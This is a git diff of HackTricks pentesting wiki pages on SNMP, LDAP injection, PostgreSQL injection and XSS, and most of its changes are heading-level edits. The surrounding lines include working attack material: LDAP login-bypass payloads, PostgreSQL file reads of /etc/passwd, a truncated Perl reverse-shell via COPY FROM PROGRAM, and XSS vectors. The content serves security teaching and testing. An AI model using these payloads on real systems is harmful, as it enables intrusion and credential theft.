diff --git a/.gitignore b/.gitignore new file mode 100644 index 00000000..af6b56ad --- /dev/null +++ b/.gitignore @@ -0,0 +1 @@ +.dccache \ No newline at end of file diff --git a/network-services-pentesting/pentesting-snmp/README.md b/network-services-pentesting/pentesting-snmp/README.md index b0882243..332c09b6 100644 --- a/network-services-pentesting/pentesting-snmp/README.md +++ b/network-services-pentesting/pentesting-snmp/README.md @@ -24,9 +24,8 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) {% embed url="https://go.intigriti.com/hacktricks" %} {% endhint %} -## 161,162,10161,10162/udp - Pentesting SNMP -### S**NMP - Explained** +# SNMP - Explained **SNMP - Simple Network Management Protocol** is a protocol used to monitor different devices in the network (like routers, switches, printers, IoTs...). @@ -35,12 +34,12 @@ PORT STATE SERVICE REASON VERSION 161/udp open snmp udp-response ttl 244 ciscoSystems SNMPv3 server (public) ``` -#### MIB +## MIB **MIB** stands for **M**anagement **I**nformation **B**ase and is a **collection of information organized hierarchically**. These are **accessed using** a protocol such as **SNMP**. There are two types of MIBs: **scalar** and **tabular**.\ Scalar objects define a single object instance whereas tabular objects define multiple related object instances grouped in MIB tables. -#### OIDs +## OIDs **OIDs** stands for **O**bject **Id**entifiers. **OIDs uniquely identify managed objects in a MIB hierarchy**. This can be depicted as a tree, the levels of which are assigned by different organizations. Top level MIB object IDs (OIDs) belong to different standard organizations.\ **Vendors define private branches including managed objects for their own products.** @@ -50,7 +49,7 @@ Scalar objects define a single object instance whereas tabular objects define mu You can **navigate** through an **OID tree** from the web here: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) or **see what a OID means** (like `1.3.6.1.2.1.1`) accessing [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1).\ There are some **well-known OIDs** like the ones inside [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) that references MIB-2 defined Simple Network Management Protocol (SNMP) variables. And from the **OIDs pending from this one** you can obtain some interesting host data (system data, network data, processes data...) -#### **OID Example** +## **OID Example** **`1 . 3 . 6 . 1 . 4 . 1 . 1452 . 1 . 2 . 5 . 1 . 3. 21 . 1 . 4 . 7`** @@ -83,14 +82,14 @@ The rest of the values give specific information about the device. _**(Example take from**_ [_**here**_](https://www.netadmintools.com/snmp-mib-and-oids)_**)**_ -#### SNMP Versions +## SNMP Versions There are 2 important versions of SNMP: * **SNMPv1**: Main one, it is still the most frequent, the **authentication is based on a string** (community string) that travels in **plain-text** (all the information travels in plain text). **Version 2 and 2c** send the **traffic in plain text** also and uses a **community string as authentication**. * **SNMPv3**: Uses a better authentication form and the information travels **encrypted** using (**dictionary attack** could be performed but would be much harder to find the correct creds that inn SNMPv1 and v2). -#### Community Strings +## Community Strings As mentioned before, **in order to access the information saved on the MIB you need to know the community string on versions 1 and 2/2c and the credentials on version 3.**\ The are **2 types of community strings**: @@ -103,17 +102,17 @@ If you try to **write** an object a **`noSuchName` or `readOnly` error** is rece In versions 1 and 2/2c if you to use a **bad** community string the server wont **respond**. So, if it responds, a **valid community strings was used**. -### Ports +# Ports * The SNMP agent receives requests on UDP port **161**. * The manager receives notifications ([Traps](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol#Trap) and [InformRequests](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol#InformRequest)) on port **162**. * When used with [Transport Layer Security](https://en.wikipedia.org/wiki/Transport\_Layer\_Security) or [Datagram Transport Layer Security](https://en.wikipedia.org/wiki/Datagram\_Transport\_Layer\_Security), requests are received on port **10161** and notifications are sent to port **10162**. -### Brute-Force Community String (v1 and v2c) +# Brute-Force Community String (v1 and v2c) To **guess the community string** you could perform a dictionary attack. Check [here different ways to perform a brute-force attack against SNMP](../../generic-methodologies-and-resources/brute-force.md#snmp). -### Enumerating SNMP +# Enumerating SNMP It is recommanded to install the following to see whats does mean **each OID gathered** from the device: @@ -141,7 +140,7 @@ snmpwalk -v X -c public NET-SNMP-EXTEND-MIB::nsExtendOutputFull **SNMP** has a lot of information about the host and things that you may find interesting are: **Network interfaces** (IPv4 and **IPv6** address), Usernames, Uptime, Server/OS version, and **processes running** (may contain passwords).... -### From SNMP to RCE +# From SNMP to RCE If you have the **string** that allows you to **write values** inside the SNMP service, you may be able to abuse it to **execute commands**: @@ -149,7 +148,7 @@ If you have the **string** that allows you to **write values** inside the SNMP s [snmp-rce.md](snmp-rce.md) {% endcontent-ref %} -### **Massive SNMP** +# **Massive SNMP** [Braa ](https://github.com/mteg/braa)is a mass SNMP scanner. The intended usage of such a tool is, of course, making SNMP queries – but unlike snmpwalk from net-snmp, it is able to query dozens or hundreds of hosts simultaneously, and in a single process. Thus, it consumes very few system resources and does the scanning VERY fast. @@ -165,7 +164,7 @@ This can extract a lot MB of information that you cannot process manually. So, lets look for the most interesting information (from [https://blog.rapid7.com/2016/05/05/snmp-data-harvesting-during-penetration-testing/](https://blog.rapid7.com/2016/05/05/snmp-data-harvesting-during-penetration-testing/)): -#### Devices +## Devices One of the first things I do is extract the sysDesc .1.3.6.1.2.1.1.1.0 MIB data from each file to determine what devices I have harvested information from. This can easily be done using the following grep command: @@ -173,7 +172,7 @@ One of the first things I do is extract the sysDesc .1.3.6.1.2.1.1.1.0 MIB data grep ".1.3.6.1.2.1.1.1.0" *.snmp ``` -#### Identify private string +## Identify private string As an example, if I can identify the private community string used by an organization on their Cisco IOS routers, then I could possibly use that community string to extract the running configurations from those routers. The best method for finding such data has often been related to SNMP Trap data. So again, using the following grep we can parse through a lot of MIB data quickly searching for the key word of “trap”: @@ -181,7 +180,7 @@ As an example, if I can identify the private community string used by an organiz grep -i "trap" *.snmp ``` -#### Usernames/passwords +## Usernames/passwords Another area of interest is logs, I have discovered that there are some devices that hold logs within the MIB tables. These logs can also contain failed logon attempts. Think about the last time you logged into a device via Telnet or SSH and inadvertently entered your password as the username. I typically search for key words such as _fail_, _failed_ or _login_ and examine that data to see if there is anything of value. @@ -189,27 +188,27 @@ Another area of interest is logs, I have discovered that there are some devices grep -i "login\|fail" *.snmp ``` -#### Emails +## Emails ```bash grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" *.snmp ``` -### Modifying SNMP values +# Modifying SNMP values You can use _**NetScanTools**_ to **modify values**. You will need to know the **private string** in order to do so. -### Spoofing +# Spoofing If there is an ACL that only allows some IPs to query the SMNP service, you can spoof one of this addresses inside the UDP packet an sniff the traffic. -### Examine SNMP Configuration files +# Examine SNMP Configuration files * snmp.conf * snmpd.conf * snmp-config.xml -### HackTricks Automatic Commands +# HackTricks Automatic Commands ``` Protocol_Name: SNMP #Protocol Abbreviation if there is one. diff --git a/pentesting-web/ldap-injection.md b/pentesting-web/ldap-injection.md index c60d0148..87a92b91 100644 --- a/pentesting-web/ldap-injection.md +++ b/pentesting-web/ldap-injection.md @@ -24,9 +24,9 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) {% embed url="https://go.intigriti.com/hacktricks" %} {% endhint %} -## LDAP Injection +# LDAP Injection -### **LDAP** +## **LDAP** **If you want to know what is LDAP access the following page:** @@ -74,7 +74,7 @@ Example: `(&(directory=val1)(folder=public))` Then: `(&(objectClass=`**`*)(ObjectClass=*))`** will be the first filter (the one executed). -### Login Bypass +## Login Bypass LDAP supports several formats to store the password: clear, md5, smd5, sh1, sha, crypt. So, it could be that independently of what you insert inside the password, it is hashed. @@ -133,13 +133,13 @@ password=any --> (&(uid=admin)) (| (|) (webpassword=any)) ``` -#### Lists +### Lists * [LDAP\_FUZZ](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP\_FUZZ.txt) * [LDAP Attributes](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt) * [LDAP PosixAccount attributes](https://tldp.org/HOWTO/archived/LDAP-Implementation-HOWTO/schemas.html) -### Blind LDAP Injection +## Blind LDAP Injection You may force False or True responses to check if any data is returned and confirm a possible Blind LDAP Injection: @@ -155,7 +155,7 @@ Payload: void)(objectClass=void))(&objectClass=void Final query: (&(objectClass= void)(objectClass=void))(&objectClass=void )(type=Pepi*)) ``` -#### Dump data +### Dump data You can iterate over the ascii letters, digits and symbols: @@ -170,9 +170,9 @@ You can iterate over the ascii letters, digits and symbols: ... ``` -### Scripts +## Scripts -#### **Discover valid LDAP fields** +### **Discover valid LDAP fields** LDAP objects **contains by default several attributes** that could be used to **save information**. You can try to **brute-force all of them to extract that info.** You can find a list of [**default LDAP attributes here**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt). @@ -208,7 +208,7 @@ for attribute in attributes: #Extract all attributes print() ``` -#### **Special Blind LDAP Injection (without "\*")** +### **Special Blind LDAP Injection (without "\*")** ```python #!/usr/bin/python3 @@ -227,13 +227,13 @@ for i in range(50): break ``` -### Google Dorks +## Google Dorks ```bash intitle:"phpLDAPadmin" inurl:cmd.php ``` -### More Payloads +## More Payloads [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection) diff --git a/pentesting-web/sql-injection/postgresql-injection/README.md b/pentesting-web/sql-injection/postgresql-injection/README.md index 5801111a..d430a937 100644 --- a/pentesting-web/sql-injection/postgresql-injection/README.md +++ b/pentesting-web/sql-injection/postgresql-injection/README.md @@ -1,4 +1,3 @@ -# PostgreSQL injection
@@ -26,24 +25,24 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) **This page aims to explain different tricks that could help you to exploit a SQLinjection found in a postgresql database and to compliment the tricks you can find on** [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md) -## Network Interaction - Privilege Escalation, Port Scanner, NTLM challenge response disclosure & Exfiltration +# Network Interaction - Privilege Escalation, Port Scanner, NTLM challenge response disclosure & Exfiltration **`dblink`** is a **PostgreSQL module** that offers several interesting options from the attacker point of view. It can be used to **connect to other PostgreSQL instances** of perform **TCP connections**.\ **These functionalities** along with the **`COPY FROM`** functionality can be used to **escalate privileges**, perform **port scanning** or grab **NTLM challenge responses**.\ [**You can read here how to perform these attacked.**](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md) -#### **Exfiltration example using dblink and large objects** +## **Exfiltration example using dblink and large objects** You can [**read this example**](dblink-lo\_import-data-exfiltration.md) to see a CTF example of\*\* how to load data inside large objects and then exfiltrate the content of large objects inside the username\*\* of the function `dblink_connect`. -### PL/pgSQL password bruteforce +# PL/pgSQL password bruteforce PL/pgSQL, as a **fully featured programming language**, allows much more procedural control than SQL, including the **ability to use loops and other control structures**. SQL statements and triggers can call functions created in the PL/pgSQL language.\ **You can abuse this language in order to ask PostgreSQL to brute-force the users credentials.** [**Read this to learn how.**](pl-pgsql-password-bruteforce.md) -### File-system actions +# File-system actions -#### Read directories and files +## Read directories and files From this [commit ](https://github.com/postgres/postgres/commit/0fdc8495bff02684142a44ab3bc5b18a8ca1863a)members of the `DEFAULT_ROLE_READ_SERVER_FILES` group and super users can use these methods on any path (check out `convert_and_check_filename` in `genfile.c`).: @@ -52,7 +51,7 @@ select * from pg_ls_dir('/tmp'); select * from pg_read_file('/etc/passwd' , 0 , 1000000); ``` -#### Simple File Writing +## Simple File Writing ```bash copy (select convert_from(decode('','base64'),'utf-8')) to '/just/a/path.exec'; @@ -61,14 +60,14 @@ copy (select convert_from(decode('','base64'),'utf-8')) to '/ju Remember that COPY cannot handle newline chars, therefore even if you are using a base64 payload y**ou need to send a one-liner**.\ A very important limitation of this technique is that **`copy` cannot be used to write binary files as it modify some binary values.** -#### **Binary files upload** +## **Binary files upload** However, there are **other techniques to upload big binary files**.\ [**Read this page to learn how to do it.**](big-binary-files-upload-postgresql.md) -### RCE +# RCE -#### **RCE from version 9.3** +## **RCE from version 9.3** Since[ version 9.3](https://www.postgresql.org/docs/9.3/release-9-3.html), new functionality for '[COPY TO/FROM PROGRAM](https://paquier.xyz/postgresql-2/postgres-9-3-feature-highlight-copy-tofrom-program/)' was implemented. This allows the database superuser, and any user in the ‘pg\_execute\_server\_program’ group to run arbitrary operating system commands. @@ -88,12 +87,12 @@ COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::I Or use the `multi/postgres/postgres_copy_from_program_cmd_exec` module from **metasploit**.\ More information about this vulnerability [**here**](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5). While reported as CVE-2019-9193, Postges declared this was a [feature and will not be fixed](https://www.postgresql.org/about/news/cve-2019-9193-not-a-security-vulnerability-1935/). -#### RCE with PostgreSQL extensions +## RCE with PostgreSQL extensions Once you have **learned** from the previous post **how to upload binary files** you could try obtain **RCE uploading a postgresql extension and loading it**.\ [**Lear how to abuse this functionality reading this post.**](rce-with-postgresql-extensions.md) -#### PostgreSQL configuration file RCE +## PostgreSQL configuration file RCE The **configuration file** of postgresql is **writable** by the **postgres user** which is the one running the database, so as **superuser** you can write files in the filesystem, and therefore you can **overwrite this file.** @@ -121,14 +120,14 @@ While testing this I noticed that this will only work if the **private key file **More** [**information about this technique here**](https://pulsesecurity.co.nz/articles/postgres-sqli)**.** -### WAF bypass +# WAF bypass -#### PostgreSQL String functions +## PostgreSQL String functions Manipulating strings could help you to **bypass WAFs or other restrictions**.\ [**In this page** ](https://www.postgresqltutorial.com/postgresql-string-functions/)**you can find some useful Strings functions.** -#### Stacked Queries +## Stacked Queries Remember that postgresql support stacked queries, but several application will throw an error if 2 responses are returned when expecting just 1. But, you can still abuse the stacked queries via Time injection: @@ -137,7 +136,7 @@ id=1; select pg_sleep(10);-- - 1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- - ``` -#### XML tricks +## XML tricks **query\_to\_xml** @@ -155,7 +154,7 @@ This function will dump the whole database in XML format in just 1 row (be caref SELECT database_to_xml(true,true,''); ``` -#### Forbidden quotes +## Forbidden quotes If cannot use quotes for your payload you could bypass this with `CHR` for basic clauses (_character concatenation only works for basic queries such as SELECT, INSERT, DELETE, etc. It does not work for all SQL statements_): diff --git a/pentesting-web/xss-cross-site-scripting/README.md b/pentesting-web/xss-cross-site-scripting/README.md index f94237be..3bab25e2 100644 --- a/pentesting-web/xss-cross-site-scripting/README.md +++ b/pentesting-web/xss-cross-site-scripting/README.md @@ -24,9 +24,8 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) {% embed url="https://go.intigriti.com/hacktricks" %} {% endhint %} -## XSS (Cross Site Scripting) -### Methodology +# Methodology 1. Check if **any value you control** (_parameters_, _path_, _headers_?, _cookies_?) is being **reflected** in the HTML or **used** by **JS** code. 2. **Find the context** where it's reflected/used. @@ -57,7 +56,7 @@ When working on a complex XSS you might find interesting to know about: [debugging-client-side-js.md](debugging-client-side-js.md) {% endcontent-ref %} -### Reflected values +# Reflected values In order to successfully exploit a XSS the first thing you need to find is a **value controlled by you that is being reflected** in the web page. @@ -65,16 +64,16 @@ In order to successfully exploit a XSS the first thing you need to find is a **v * **Stored and reflected**: If you find that a value controlled by you is saved in the server and is reflected every time you access a page you could exploit a **Stored XSS**. * **Accessed via JS**: If you find that a value controlled by you is being access using JS you could exploit a **DOM XSS**. -### Contexts +# Contexts When trying to exploit a XSS the first thing you need to know if **where is your input being reflected**. Depending on the context, you will be able to execute arbitrary JS code on different ways. -#### Raw HTML +## Raw HTML If your input is **reflected on the raw HTML** page you will need to abuse some **HTML tag** in order to execute JS code: ` ``` -#### Within the attribute +## Within the attribute Even if you **cannot escape from the attribute** (`"` is being encoded or deleted), depending on **which attribute** your value is being reflected in **if you control all the value or just a part** you will be able to abuse it. For **example**, if you control an event like `onclick=` you will be able to make it execute arbitrary code when it's clicked.\ Another interesting **example** is the attribute `href`, where you can use the `javascript:` protocol to execute arbitrary code: **`href="javascript:alert(1)"`** @@ -291,7 +290,7 @@ Note that **any kind of HTML encode is valid**: ``` -#### Special Protocols Within the attribute +## Special Protocols Within the attribute There you can use the protocols **`javascript:`** or **`data:`** in some places to **execute arbitrary JS code**. Some will require user interaction on some won't. @@ -373,7 +372,7 @@ You can use **Hex** and **Octal encode** inside the `src` attribute of `iframe` ``` -#### Reverse tab nabbing +## Reverse tab nabbing ```javascript